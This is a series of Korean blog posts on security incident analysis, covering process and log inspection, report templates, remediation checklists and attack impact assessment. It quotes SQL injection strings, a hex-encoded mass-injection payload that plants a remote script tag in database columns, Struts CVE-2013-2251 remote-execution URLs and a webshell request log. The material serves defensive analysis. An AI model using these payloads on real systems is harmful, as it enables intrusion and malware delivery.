태그 보관물: 침해사고분석

프로세스와 포트

Cport[1] 프로그램을 이용해 프로세스별 포트 정보를 점검 한다. GUI기반 프로그램으로 포트와 프로세스 정보를 매핑하여 사용자에게 보여주는 툴이다.

IP정보, 포트정보, 프로세스 정보, 파일 정보, 사용자 정보를 한 화면에서 보여 주기 때문에 종합적으로 분석 할 때 유용하게 사용 할 수 있다.

GUI기반이지만 옵션을 이용해 텍스트로 정보를 추출할 수 있기 때문에 스크립트를 이용해 점검도 가능하다. 사용은 다음과 같이 사용 가능하다.

cports /stext > port_process_result.txt

다음이 툴을 실행시킨 결과 일부다. 점검한 프로세스 이름(mstsc.exe)과 해당 프로세스가 사용하고 있는 실행 파일과 IP, Port 정보 등을 추출한다.

Process Name : mstsc.exe
Process ID : 5704
Protocol : TCP
Local Port : 2009
Local Port Name :
Local Address : XXX.XXX.XXX.XXX
Remote Port : 3389
Remote Port Name :
Remote Address : XXX.XXX.XXX.XXX
Remote Host Name :
State : Established
Process Path : C:\WINDOWS\system32\mstsc.exe
Product Name : Microsoft® Windows® Operating System
File Description : Remote Desktop Connection
File Version : 6.0.6001.18000 (longhorn_rtm.080118-1840)
Company : Microsoft Corporation
Process Created On: 2023-10-05 오전 10:41:25
User Name : SONG\BigRoot
Process Services :
Process Attributes: A

추출한 정보는 악성코드로 의심되는 프로세스가 외부 공격자와 통신을 시도하는지 혹은 의도하지 않은 트래픽을 발생시키는지 확인하기 위해서 사용 된다.

리눅스에서는 ‘netstat’ 명령에 p옵션을 이용해 확인 할 수 있다.

그림 프로세스 실행 명령 확인

실행 파일에 대한 자세한 정보는 ‘ps’ 명령을 실행해 확인 할 수 있다.

$ ps -f -p 1761
UID PID PPID C STIME TTY TIME CMD
root 1761 1 0 May10 ? 00:00:00 /usr/sbin/apache2 -k start
$ pstree -p 1761
apache2(1761)€р”€apache2(2322)
œ€apache2(2323)
œ€apache2(2324)
œ€apache2(2325)
”€apache2(2326)
$ ps -f -p 2326
UID PID PPID C STIME TTY TIME CMD
www-data 2326 1761 0 May10 ? 00:00:00 /usr/sbin/apache2 -k start

로그온 세션 정보

윈도우 시스템의 경우 ‘logonsessions.exe’ 명령을 이용해 로그인한 사용자의 프로세스 정보를 확인할 수 있다. 역시 sysitnernals 패키지에 포함된다. SID 정보, 로그온 대상 시스템 정보, 현재 사용중인 프로세스 정보 등을 확인 할 수 있다.

실행은 logonsessions.exe 실행 시 p옵션을 이용해 확인 가능하고 출력되는 형태는 다음과 같다.

[root@C:\]#logonsessions.exe /p …. [6] Logon session 00000000:00037cf2:     User name:    [root@C:]#logonsessions.exe /p
….
[6] Logon session 00000000:00037cf2:
User name: SONG\BigRoot
Auth package: NTLM
Logon type: Interactive
Session: 0
Sid: S-1-5-21-1343024091-1035525444-839522115-1003
Logon time: 2010-02-15 Logon server: SONG
DNS Domain:
UPN:
3932: C:\WINDOWS\Explorer.EXE
2852: C:\WINDOWS\system32\ctfmon.exe
2840: C:\Program Files\Analog Devices\Core\smax4pnp.exe
2848: C:\Program Files\AhnLab\Smart Update Utility\AhnSD.exe
1516: C:\PROGRA~1\COMMON~1\AhnLab\ACA\ACASP.exe

마지막 로그온 정보

윈도우 시스템에서 로그인한 정보를 수집한다. 이는 침해사고가 발생한 경우 시스템에 로그인한 시점을 확인해 침해사고 타임 테이블을 작성 합니다.

그림 ntlast 명령 실행

타임 테이블은 사건의 앞 뒤를 파악하고, 일련의 시간 흐름에 따라 일어난 현상을 정리하는 것으로 침해사고분석시 매우 중요한 자료가 된다. 침해사고분석 시 가장 먼저 할 것도 최초 침해사고가 발생한 시점, 즉 기준 시간을 확인하는 일이다. 기준 시작이 확인되면 해당 시간을 기준으로 시간 순서에 따라 이전에 어떤 행위가 발생했고, 이 후 어떤 일이 있었는지 확인해 타임테이블을 작성한다.


[1] https://www.nirsoft.net/utils/cports.html

프로세스를 실행시킨 명령어

전체 프로세스에 대한 확인 과정이 대략적으로 끝나면 확인된 프로세스 중 의심이 되는 프로세스에 대해 세부적인 조사가 필요할 것이다. 이번에 살펴볼 내용은 의심이 가거나 확인이 필요한 프로세스에 대해 어떤 명령에 의해 프로세스가 실행 되었는지 확인하는 방법이다.

각각의 프로세스를 실행시킨 명령어 확인은 중요 하다. 이는 명령어 확인을 통해 악성코드가 설치된 위치나 시스템 파일의 감염 여부를 확인 할 수 있는 중요한 단서가 되기 때문이다.

리눅스는 ps명령을 이용해 확인 가능하다. 악의적인 프로세스를 확인한 경우 해당 프로세스가 어떤 명령으로 실행 되었는지 볼 수 있다.

–axu 옵션을 이용하면 현재 점유중인 메모리 정보와 CPU정보를 확인할 수 있다.

그림 프로세스를 실행시킨 명령어

–axu 옵션을 이용하면 현재 점유중인 메모리 정보와 CPU정보를 확인할 수 있다.

프로세스에서 사용하는 파일

앞서 프로세스를 실행 시킨 명령어를 확인하는 방법을 살펴 보았다. 이번에는 실행 파일 외에도 프로세스에서 사용하고 있는 파일을 확인해보자. 윈도우 시스템의 경우 주로 프로세스에서 사용하고 있는 DLL파일을 점검하게 된다. 윈도우 악성코드의 경우 DLL파일을 이용해 구동중인 프로세스를 감염시키기도 한다. 점검은 ‘handle.exe’ 명령을 이용한다. Sysinternals 패키지에 포함된다.

그림 handle 실행

프로그램을 실행 시키면 앞의 그림과 같이 프로세스에서 사용중일 파일들을 확인 할 수 있고, 프로세스가 사용하는 개체 정보와 접근(읽기R, 쓰기W, 삭제D) 정보가 나타난다. 관련 옵션은 “handle -?” 명령을 이용해 확인하자.

프로세스 점검 과정을 통해 의심스러운 프로세스 목록을 확보 하고 프로세스가 사용하는 실행파일 경로를 확인한다. 확인된 실행 파일이 악성코드인지 분석한다.

윈도우 프로세스에서 사용하는 객체는 File 외에도 여러 가지가 있다. 윈도우 개체 종류는 다음 표를 참고 하기 바란다. (자료참고: Microsoft Windows Internals)

개체 종류설명
Symbolic linkA mechanism for referring to an object name indirectly
processThe virtual address space and control information necessary for the execution of a set of thread objects.
ThreadAn executable entity within a process.
jobA collection of process manageable as a single entity through the job.
sectionA region of shared memory (known as a file mapping object in Windows).
FileAn instance of an opened file or an I/O device.
Access tokenThe security profile (security ID, user rights, and so on) of a process or a thread.
EventAn object with a persistent state (signaled or not signaled) that can be used for synchronization or notification.
SemaphoreA counter that provides a resource gate by allowing some maximum number of threads to access the resource protected by the semaphore.
Mutex*A synchronization mechanism used to serialize access to a resource.
TimerA mechanism to notify a thread when a fixed period of time elapses.
표 윈도우 개체 타입

결과 공유 및 의사 결정

침해사고에 대한 충분한 근거 자료를 확보하고 원인에 대한 분석이 완료되었다면 원인과 근거 자료를 기반으로 향후 대응 방안을 수립한다. 수립된 대응 방안에 필요한 할 일(액션 아이템)을 가능한 상세하게 구분하여 침해사고가 재발되지 않도록 방안을 제시한다.

종합적인 분석 결과를 기반으로 조직의 의사결정권자는 필요한 조치를 수행할 리소스를 확보하고 정해진 기한에 따라 이행 사항을 실행 한다.

분석 결과 보고

보고 대상을 고려해 적절한 단어와 표현 방법을 사용해 핵심 사항을 전달하는 것이 보고서 작성의 기본이다.

그렇다면 보안 위협 분석 보고서의 작성 시 가장 중요한 부분은 무엇일까? 이슈에 대한 핵심과 적절한 대응 전략이 포함되는 것은 물론 적정한 시기에 보고서가 전달 되는 것도 중요하다. 모든 주요 이슈에 대한 의사 결정이 끝나고 난 후에는 아무리 완벽한 보고서도 그 빛을 잃는다.

  • 상황정의나 침해단계 정의 내용을 전달하여 상황 요약 전달
  • 대응에 필요한 충분한 정보가 제공되었는가?
  • 보고서 제공시기와 횟수가 적절한가?

보고서를 구성하는 항목은 다음과 같다. 기본적인 핵심 정보를 전달하기 위해 공통 항목에 대해 조직의 내부 정책에 따라 유형을 분류하고 보고서 작성 시 판단 기준에 따라 해당 항목을 기입한다.

구성표기내용
위협판단유형내부외부평판기반 이상행위기반 시그니처기반 내부사고사례 권한관리위반 이상거래탐지
사고단계시도/성공/유출/확산
업무연속성계획(BCP)예방/대비/대응/복구
로그소스위협시나리오 관련 로그 소스
대응우선순위긴급대응/실시간모니터/정기점검
차단정보IP차단, Class차단
공격대상공격대상 정보
액션 아이템예방 및 복구 조치 상세 내용
표 보고 항목

<보고서 샘플>

위협시나리오악성코드 배포 사이트 접근(파일다운로드)
사고단계성공대응우선순위실시간 모니터(차단)
탐지시간2014-04-27 11:44:48 KST
이벤트설명Non-DNS 트래픽이 TCP 53번 포트를 통해 통신이 이뤄질 경우 탐지 됩니다.
탐지로그GET /070726/sdshell.asp?Action=llgxdnh HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://192.xx.xx.250/070726/sdshell.asp
점검결과End-Point 점검 결과 기입 평판 정보 점검 결과 기입 의심 파일 점검 결과 기입
공격패턴공격샘플 – ASP 웹쉘을 이용 원격에서 시스템제어시 wscript 관련 명령을 사용 – ASP 웹쉘 실행시 cmd.exe, wscript=yes, cmd= 을 포함하는 문자열 탐지
IP정보출발지 IP233.233.233.233(9238)국가코드CN
도착지 IP211.211.211.211(80)국가코드KR
장비 IP1.1.1.1 
조치내역IDS/IPS탐지모드: [자동차단/탐지모드] 구성정보: [인라인/미러링]
End-Point격리/예외/허용
방화벽[C Class차단][IP 차단] access-list acl_out line 1241 deny ip 233.233.233.0 255.255.255.0 any (hitcnt=3)
대응방안취약점 보완책, 시스템 또는 Application설정 보완 방법

대응 방안 수립

피해가 확인되면 복구 방안 수립을 통해 향후 재발 방지를 위한 대응 방안을 수립하고 이행 작업을 실행 한다. 대응 방안은 공격 받은 유형에 따라 다양하게 정의 될 수 있다.

패치적용

사용 중인 응용 프로그램이나 운영체제의 취약점으로 인한 사고 발생 시에서는 개별 공급사에서 제공하는 패치를 이용해 대응 방안을 수립 하자.

<제로데이 취약점 발표>
아파치 제로데이 취약점 공식 패치 발표 (http://httpd.apache.org/download.cgi)  

o 취약한 버전을 운용하고 있는 웹 서버 관리자는 Apache 2.2.20버전으로 업데이트[2]     
※ Apache 1.3버전의 경우 업데이트 지원이 중단되었으므로, 해당 버전 운용자는 2.2.20버전으로 업그레이드 권고  

1. 개요    
o 가장 대중적으로 사용되고 있는 웹서버인 Apache에서 간단한 HTTP 요청만으로도 서버의 CPU와 Memory를 가득 채워 간단히 서비스를 마비시킬 수 있는 매우 심각한 신규 취약성이 발견되어 관리자들의 주의가 요구됨.
o 공격자는 특수하게 조작된 HTTP패킷을 전송하여 아파치 서비스가 동작중인 서버의 메모리를 고갈시킬 수 있음   
o 해당 취약점 정보 및 공격 도구가 공개 배포됨에 따라 웹 서버 관리자의 주의를 요함  

2. 해당 시스템   
o 영향 받는 소프트웨어     
– Apache 2.3.x /  Apache 2.2.x / Apache 2.1.x / Apache 2.0.x / Apache 1.3.x     
* 참고URL : http://seclists.org/bugtraq/2007/Jan/83

시스템 설정

운영 중인 애플리케이션의 취약한 설정으로 인해 사고가 발생하는 경우가 많이 있다. 관리자가 기본 설정을 변경하지 않아 공격자가 악용하는 경우나 테스트 과정에서 임시로 변경한 설정을 원복하지 않아 공격자에게 악용되는 사례도 있다.

개별 애플리케이션의 상세 대응 방안은 사용하는 애플리케이션에 종속적이다. 대표적 유형은 다음과 같다.

관리페이지

최근에도 심심치 않게 발생하는 침해 원인으로 기본 관리 페이지를 통한 공격이 발생한다. 공격자의 입장에서 보면 무작위로 자동 프로그램을 이용해 힘들이지 않고 하나만 걸리면 된다. 공격자에게 여러분이 관리하는 시스템이 당첨되는 일이 없도록 하자.

실행 권한 제거

사용자에게 파일 등록 권한을 제공하는 많은 사이트틀이 파일 실행 권한을 적절히 잘 관리하고 있다. 하지만 간혹 한번의 실수로 권한 조정을 누락하는 경우가 있는데 사용자가 업로드한 파일이 시스템에서 실행되지 않도록 권한 제한을 잊지 말자.

이행 점검

조치 해야 하는 것을 계획만 세우고 실행하지 않는 경우가 많다. 조치를 취해야 할 항목을 정의하고 해당 항목에 대한 조치 결과를 문서화해 관리 하자.

Guest 계정 사용 중단
-. 디폴트로 생성되는 Guest계정이 활성화 된 경우 사용 중단
조치결과비활성화N/A 
공유 목록 제거
-. 기본적으로 제공되는 관리적 공유(ADMIN$, C$..) 제거
조치결과C$, D$, ADMIN$, IPC$N/A
취약 패스워드 변경
-. 응용 프로그램 설치 시 자동으로 설정되는 패스워드 확인 변경 -. 취약 유형: admin/admin, admin/1234
조치결과변경 완료특수문자포함 최소길이10자 영문/숫자혼합N/A 
시스템 배너 제거
-. SSH/TELNET/FTP 등 프로그램 버전 정보 표시
조치결과배너 제거 완료 N/A 
표 이행점검표

영향도 분석

공격을 판단하기 위해 침입탐지시스템 엔진은 패킷에 포함된 데이터를 분석하거나 행위 분석을 통해 공격 여부를 판단 한다. 하지만 탐지 오류(이하 오탐이라고 함)가 없다면 좋겠지만 실제 침입탐지시스템에서 탐지된 이벤트 중 오탐(false-positive) 가능성을 배제할 수 없다.

오탐에는 여러 종류가 있다. 정상 통신에 일부 패턴이 공격 시그니처와 동일할 수도 있고, 탐지된 시그니처가 실제로 취약점이 없는 경우도 있고, 공격이 테스트 목적으로 진행 될 수도 있다. 예를 들어 보자.

시스템 명령을 탐지 하기 위해 “cmd.exe” 문자열을 모니터 한다고 가정해 보자. 우리는 cmd.exe 라는 문자열 만을 의미 있게 생각하지만 탐지 엔진에서는 “abcmd.executeable” 문자열도 동일한 의미로 해석하게 된다. 이를 오탐으로 부른다.

오탐 사례 여러 개의 포트를 사용하는 통신의 경우 네트워크 포트 스캔 시도로 탐지될 수 있다.일부 내부 시스템의 경우 ERP 시스템의 경우 SQL Injection으로 탐지될 수 있다.일부 포트의 경우 백도어로 탐지될 수 있다.

다음은 SQL Injection 공격으로 발생되는 공격 패턴이다.

newpoker’ And 1=1 And ”=’
picture’ And 1=1 And ”=’
janggi’ And 1=1 And ”=’
2 and(char(94)+user+char(94))>0
hoola’ and(char(94)+user+char(94))>0 and ”=’
2 and(char(94)+user+char(94))>0
3/;create table t_jiaozhu(jiaozhu varchar(200))
2 and(char(94)+user+char(94))>0

다음 예제를 살펴보자.

select top 1 udf_v_uid_j201id from table_code  where conf_en=’Y’  and pl_t in (‘3’윕‘3′) order by udf_uid desc
select+*+from+abc+where+id=‘ABD’+and+userid=‘DIROR‘
Select Top 4 id,name from [test]..[sysobjects] Where xtype=char(85) order by name asc,id desc) T order by name desc,id asc
SELECT * FROM facebook.graph WHERE id=‘mayson’

4가지 예제 로그가 SQL Injection과 관련된 공격으로 보일 수 있으나 실제 4개 로그 중 공격과 관련된 로그는 단 1개뿐이다. 3번째 로그가 공격 툴을 이용해 데이터베이스의 정보를 유출할 때 발생되는 로그다..

이처럼 공격과 공격이 아닌 상황에 대해 구분이 모호한 경우가 발생할 때는 시스템에 대한 이해와 해킹 유형에 대해 정확한 사전 지식이 있어야 침입시도와 침입시도가 아닌 행위에 대해 구분이 가능하다.

분석한 내역이 실제 공격으로 확인되면 해당 공격으로 인한 시스템의 피해를 점검한다. 공격 재현을 통해 시스템에 발생하는 현황을 확인하고 어떤 결과가 발생하는지 정의 한다.

  • 로그 분석을 통한 피해 범위 확인

샘플 로그를 보자. 다음 로그는 SQL Injection 공격에 의해 피해를 받은 시스템의 로그다. 해당 로그를 통해 어떤 피해가 발생했는지 피해 범위를 정의하자.

%20and%20exists%20(select%20[admin_psw]%20from%20[tbl_discussion_vote])%20and%20”=’|7|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Invalid_column_name_’admin_psw’. 500

샘플 로그에서 SQL Injection 공격에 요청된 쿼리문에 패스워드와 관련된 요청이 포함되어 있다.(admin_psw) 실제 패스워드 항목들이 유출되었는지 전후 로그에 대해 분석해서 피해 범위를 정의 한다.

정확한 피해 범위 확인을 위해 필요한 경우 공격 로그를 테스트 시스템에 수행 시켜 시스템에 미치는 영향을 정확히 분석한다.

dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F73312E6361776A622E636F6D2F6B722E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000)); eXeC(@s);

탐지된 로그를 정확히 확인하기 위해 실행 함수(exec(@s)를 출력 함수(print(@s)로 변경해서 공격에 사용된 SQL문을 분석하자.

그림 피해범위확인

SQL 구문을 확인해 보면 데이터베이스에서 어떤 행위가 일어났는지 확인이 가능해 진다. 그럼 시스템 피해범위를 확인할 수 있다.

침입시도가 공격은 맞지만 시스템에 영향을 줄 수 없는 경우도 있다. 대부분 시스템의 취약점과 관련이 없는 공격들이 이에 해당된다. 주로 무작위 스캔 시도, 단순 포트 스캔 시도들이 해당된다.

영향도를 평가하기 위해서는 애플리케이션이나 시스템의 동작 방식에 대해 이해할 필요가 있다.

가장 많은 공격이 발생하는 웹 서비스의 경우 웹 서비스의 응답 결과에 따라 시스템에 발생한 결과는 틀려진다.

응답코드점검

웹 취약점 공격 시도의 경우는 대부분 응답코드를 통해 취약한지 여부를 판단하게 된다. 예를 들어 SQL Injection 공격을 시도하였지만, 500에러코드가 발생하지 않는다면 시스템에 취약점이 없는 경우가 대부분이고, 공격자가 파일을 업로드 시도하여 해당 파일을 요청하였지만 404 응답코드가 발생했다면 실제로 파일이 업로드 되지 않았다는 것을 의미한다. 이처럼 HTTP 통신에서 사용되는 응답코드에 대해 알지 못하면 침입시도가 성공한지 판단을 할 수 없다

그림 500.100 응답

Status-Code    =
            “100”  ; Section 10.1.1: Continue
          | “101”  ; Section 10.1.2: Switching Protocols
          | “200”  ; Section 10.2.1: OK
          | “201”  ; Section 10.2.2: Created
          | “202”  ; Section 10.2.3: Accepted
          | “203”  ; Section 10.2.4: Non-Authoritative Information
          | “204”  ; Section 10.2.5: No Content
         …………………..
          | “307”  ; Section 10.3.8: Temporary Redirect
          | “400”  ; Section 10.4.1: Bad Request
          | “401”  ; Section 10.4.2: Unauthorized
          | “402”  ; Section 10.4.3: Payment Required
          | “403”  ; Section 10.4.4: Forbidden
          | “404”  ; Section 10.4.5: Not Found
          | “405”  ; Section 10.4.6: Method Not Allowed
          | “406”  ; Section 10.4.7: Not Acceptable

영향받는 시스템 점검

단순히 공격 유형을 파악한 것으로 사고 분석이 끝나면 안되고, 피해 시스템이 취약해 내부 데이터가 유출이 되었는지, 데이터가 조작되었는지, 아니면 데이터베이스를 이용해 시스템 명령을 실행하고, 또 다른 공격을 행했는지 등 영향 범위에 대해 파악을 해야 가능한 후속조치를 취할 수 있다.

침해사고 분석 시 가장 먼저 해야 할 일은 서비스를 제공 중인 이상이 생겼는지 확인하는 것이다.

동작 점검 대상점검 결과 체크
웹 서비스 동작 점검
애플리케이션 동작 점검
서비스 일부 중지
서비스 전체 중지
일부 네트워크 통신 단절
표 시스템 영향도 점검

서비스에 대한 영향이 없다라고 판단된 후에 공격의 영향 범위를 정의 한다.

공격 영향 범위 정의공격에 의한 결과 도출
비정상 사용자 계정 추가
시스템 명령 실행
악성 파일 다운로드
내부 파일 노출
표 영향도 분석

영향 범위까지 파악이 되면 전체 후속 조치와 취약점을 제거하기 위한 방안을 세운다. 세부 대응방안은 공격 유형에 따라 다양하다. IT환경에 적합한 솔루션으로 대응 방안을 수립하자.

실제 대응과정에서 많은 변수와 환경적인 조건에 따라 상황이 조금씩 차이가 발생될 수 있지만 침입시도에 대해 대응하는 과정을 앞서 살펴본 과정을 거치게 된다. 침입시도에 대해 모니터를 통해 공격여부를 판단하고, 공격을 받은 시스템에 어떠한 피해가 발생했는지 확인하고, 조치 하기 방안을 세우는 과정까지가 일련의 과정이 보안사고를 분석하는 과정이다.

위험 확인 방법

확인된 공격이 위험한지 아닌지 검증하는 방법은 크게 2 가지로 구분된다. 동적 분석과 정적 분석이 있다. 동적 분석은 공격 행위나 악성 프로그램을 다시 재현하여 실제 어떤 위험을 미치는지 검증하는 방법이고, 정적 분석은 재현 없이 공격 구문 또는 악성 프로그램의 바이너리 코드만을 가지고 위험 여부를 확인하는 방법이다.

공격재현

    네트워크를 통해서 이뤄지는 많은 수의 공격들 중 대부분은 무작위 대상으로 취약점 여부를 시도하는 경우가 많다. 그렇기 때문에 보안 솔루션이나 시스템 로그에서 위협의 징후가 포착되었다면 실제 위협이 되는지 여부에 대해 재현을 통해 점검을 진행해야 한다.

    2013년 발생했던 취약점 공격 중 위험도가 매우 높았던 공격이 아파치 취약점을 이용했던 공격이 CVE-2013-[1]2251이다. 당시 많은 수의 아파치 서버들이 해당 공격에 취약했고, 빠른 시간에 공격이 자동화된 형태로 확산 되었다.

    CVE 코드취약점 정보영향 범위
    CVE-2013-2251Struts 2.0.0 – Struts 2.3.15원격 코드 삽입 및 실행
    표 취약점 정보

    당시 공격 시 사용되던 공격 구문은 다음과 같다.

    http://target/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,’goes’,’here’})).start()} http://target/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,’goes’,’here’})).start()} http://target/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,’goes’,’here’})).start()}

    실제 기업이나 조직에서는 해당 공격에 의한 피해를 막기 위해 운영 중인 소프트웨어의 취약점을 점검했다. 점검하는 방식은 동일한 공격 방식에 취약점 확인을 위해 특정 사이트로 리다이렉션을 시켜서 명령이 실행 되는지 확인을 통해 취약 여부를 가늠했다.

    http://[target]/action.do?redirect:[redirecturl]

    이처럼 공격 구문이 확보가 가능한 경우에는 동일한 방식으로 재현을 통해 운영하는 시스템의 취약점이 존재하는지 쉽게 확인 할 수 있다.

    공격 유형 분석

      공격 유형 분석은 체계적으로 위협에 대응하기 위해 필요한 항목 이다. 앞서 얘기 했듯이 보안 분석가는 이벤트 분석을 통해 공격 유형 및 위험도를 평가한다. 공격 유형에 맞는 대응 방안을 수립해 일관된 위협 대응 정책을 유지 한다.

      • 공격단계별 구분

      공격자는 목적 시스템에 침투하기 위해 정보를 수집하는 단계를 거친다. 이후 수집된 정보를 이용해 취약 시스템을 공격하고, 권한을 획득하는 과정을 거친다.

      침입탐지시스템 이벤트 분석 시 현재 공격이 어떤 단계에 포함되는지 정의하여 대응 우선 순위를 정의 한다. 우선 순위에 따라서 대응 방식이 달라진다. 공격이 정보 수집 단계에 해당하면 사전 예방 활동에 초점을 맞춰서 사고 발생을 예방한다. 공격이 성공 또는 확산되는 상황이라면 최대한 피해복구에 초점을 맞춰 대응 한다.

      다음은 단계별 공격 유형과 분석 및 대응에 필요한 점검 항목이다.

      단계공격유형관련 이벤트 점검 및 결과
      정보수집단계Network Scan Web Scan TCP/UDP Port Scan서비스(포트) 활성 여부에 대해 확인 시도 공격 대상 시스템에 영향이 없거나, 위험이 적은 이벤트, 분석 우선 순위가 낮다.
      취약점공격단계Email 첨부파일 Anomaly Traffic SQL Injection OS Command Injection Cross Site Scripting directory-traversal Web 취약점공격 Buffer Overflow Application 취약점공격이벤트 분석 시 실제 공격을 시도하는 단계로 취약점공격 단계에서 공격이 성공하면 침해사고로 이어진다. 실패한 공격과 성공한 공격을 구분하는데 초점을 맞춰 분석한다.   기본 계정 또는 패스워드 취약여부 확인애플리케이션 사용여부 점검관리되지 않는 애플리케이션 점검공격 명령 실행 테스트공격 시도한 버전 및 대상 시스템 버전확인
      공격성공단계Backdoor Trojan Spyware BotNet공격이 성공한 단계에서는 이전 단계의 취약점 공격 단계에서 실패 또는 성공한 IP가 탐지된 내역이 대부분 존재 한다. 이전 단계로 거슬러 올라가 공격 유형과 공격 대상 범위를 파악 한다 최초 이벤트 분석 시 해킹 또는 침해사고 시 자주 발생되는 시그니처에 대해 선 검색을 통해 분석 시간을 단축 한다
      표 개별 시그니처 분석 항목


      [1] http://struts.apache.org/release/2.3.x/docs/s2-016.html

      시스템 보안 이벤트

      윈도우 시스템 점검 시 각종 애플리케이션 로그와 함께 점검하는 중요한 로그가 이벤트 로그다. 시스템점검 시 초기에 파일로 수집하는 항목 중 하나이기도 하다.

      일반적으로 이벤트 로그를 점검하는 방법은 점검 대상 시스템의 로그를 파일로 저장(확장자 evt)해 점검 PC에서 불러와 분석 한다. 점검 과정에서 발생할 변경 사항을 최소화 하고, 원본 파일 손상을 막기 위해 위와 같은 방식으로 점검 한다.

      그림 윈도우 이벤트 뷰어

      애플리케이션 로그와 마찬가지로 이벤트 로그에 대한 기본적인 형식과 각 항목에 대한 이해가 있으면 좀더 효율적으로 분석 작업이 가능하다. 특히 이벤트 로그의 경우 이벤트 ID별로 각각이 의미하는 내용이 틀리다. 기본적으로 Windows Server 제품군 운영 체제를 실행하는 컴퓨터는 다음과 같은 세 가지 종류의 로그에 이벤트를 기록한다. 사용자의 로그인 성공/실패를 기록하는 보안로그, 시스템 구동 중에 발생되는 응용프로그램의 오류 및 특이 사항을 기록하는 응용프로그램, 드라이버 충돌 및 오류관련 로그를 기록하는 시스템 로그 총 3개의 이벤트 로그를 기록 한다.

      로그
      종류
      설명
      응용프로그램 로그응용 프로그램 로그에는 응용 프로그램이나 프로그램에서 기록한 이벤트가 포함됩니다. 예를 들어 데이터베이스 프로그램에서 응용 프로그램 로그에 파일 오류를 기록할 수 있습니다. 로그할 이벤트는 응용 프로그램 개발자가 결정합니다.
      보안
      로그
      보안 로그에는 파일이나 다른 개체 만들기, 열기 또는 삭제 등의 리소스 사용과 관련된 이벤트뿐만 아니라 올바른 로그온 시도 및 잘못된 로그온 시도와 같은 이벤트가 기록됩니다. 예를 들어 로그온 감사를 사용하는 경우 시스템에 로그온하려는 시도가 보안 로그에 기록됩니다.
      시스템 로그시스템 로그에는 Windows 시스템 구성 요소에서 기록한 이벤트가 포함됩니다. 예를 들어 시스템을 시작하는 동안 드라이버나 다른 시스템 구성 요소의 로드에 실패하면 시스템 로그에 기록됩니다. 시스템 구성 요소가 기록하는 이벤트 유형은 서버에 의해 미리 정해져 있습니다.
      표 윈도우 기본 이벤트 로그

      언급한 로그 외에도 사용 프로그램이나 환경에 따라 이벤트 로그에 추가적으로 다른 종류의 로그가 생길 수 있다. 예를 들어 윈도우 운영체제에 디렉터리 서비스를 운영하거나 파일 복제 서비스(파일서버)를 운영할 경우 해당 로그가 추가적으로 발생된다.

      디렉터리 서비스 로그디렉터리 서비스 로그에는 Windows Active Directory 서비스에서 기록한 이벤트가 포함됩니다. 예를 들어 서버와 글로벌 카탈로그 사이의 연결 문제는 디렉터리 서비스 로그에 기록됩니다.
      파일 복제 서비스 로그파일 복제 서비스 로그에는 Windows 파일 복제 서비스에서 기록한 이벤트가 포함됩니다. 예를 들어 도메인 컨트롤러가 시스템 볼륨 변경 정보로 업데이트되고 있는 동안 발생하는 파일 복제 실패와 이벤트는 파일 복제 로그에 기록됩니다.
      DNS 서버 로그DNS 서버 로그에는 Windows DNS 서비스에서 기록한 이벤트가 포함됩니다.
      표 윈도우 추가 이벤트 로그

      윈도우 이벤트 로그는 Windows를 시작할 때 이벤트 로그 서비스가 자동으로 시작된다. 또한 이벤트 로그에 대해 접근 권한을 설정할 수 있어서 그룹정책 편집기(gpedit.msc)를 이용해 이벤트 로그에 대한 엑세스 사용 권한을 설정 할 수 있다. 로그 훼손을 막기 위해 사용하면 좋다.

      윈도우와 마찬가지로 리눅스도 여러 종류의 로그가 존재한다. OS에 의해 발생되는 로그는 물론 애플리케이션에 의해 로그가 발생하는 것은 유사하다. 일반적인 로그 종류를 살펴보면 다음과 같다.

      구분경로
      주요로그디렉터리/var/adm /var/log
      주요로그파일   /var/log/wtmp, /var/run/utmp, /var/log/btmp, /var/log/pact, /var/log/messages, /var/log/lastlog, /var/adm/lastlog, /var/adm/sulog
      표 리눅스 주요 로그
      주요로그파일

      로그 종류는 운영환경과 사용중인 애플리케이션에 따라 일부 항목은 차이가 발생할 수 있다.

      • 애플리케이션 로그

      가장 대표적인 애플리케이션 로그가 웹 로그다. 윈도우의 대표적인 애플리케이션인 인터넷정보서비스(IIS) 웹 서버 로그를 살펴보자.

      IIS 로그는 속성 설정을 통해 실제 기록하고자 하는 로그항목을 선택적으로 사용할 수 있다. 로깅 속성에서 제공하는 로깅 옵션을 살펴보면 다음 표와 같다. (옵션의 버전에 따라 차이가 있다)

      옵션항목설명기본설정
      날짜작업이 발생한 날짜를 기록Yes
      시간작업이 발생한 시간을 기록Yes
      클라이언트 IP 주소서버에 액세스한 클라이언트의 IP 주소를 기록Yes
      사용자 이름서버에 액세스한 인증된 사용자의 이름을 기록. 하이픈(-)으로 표시되는 익명 사용자는 포함되지 않는다.Yes
      서비스 이름클라이언트에서 액세스한 인터넷 서비스 및 인스턴스 번호를 기록No
      서버 이름로그 항목이 생성된 서버의 이름을 기록No
      서버 IP로그 항목이 생성된 서버의 IP 주소를 기록Yes
      서버 포트클라이언트가 연결된 포트 번호를 기록Yes
      메서드클라이언트가 시도한 작업(예: GET 명령)을 기록Yes
      URI 스템액세스한 리소스(예: HTML 페이지, CGI 프로그램, 또는 스크립트)를 기록Yes
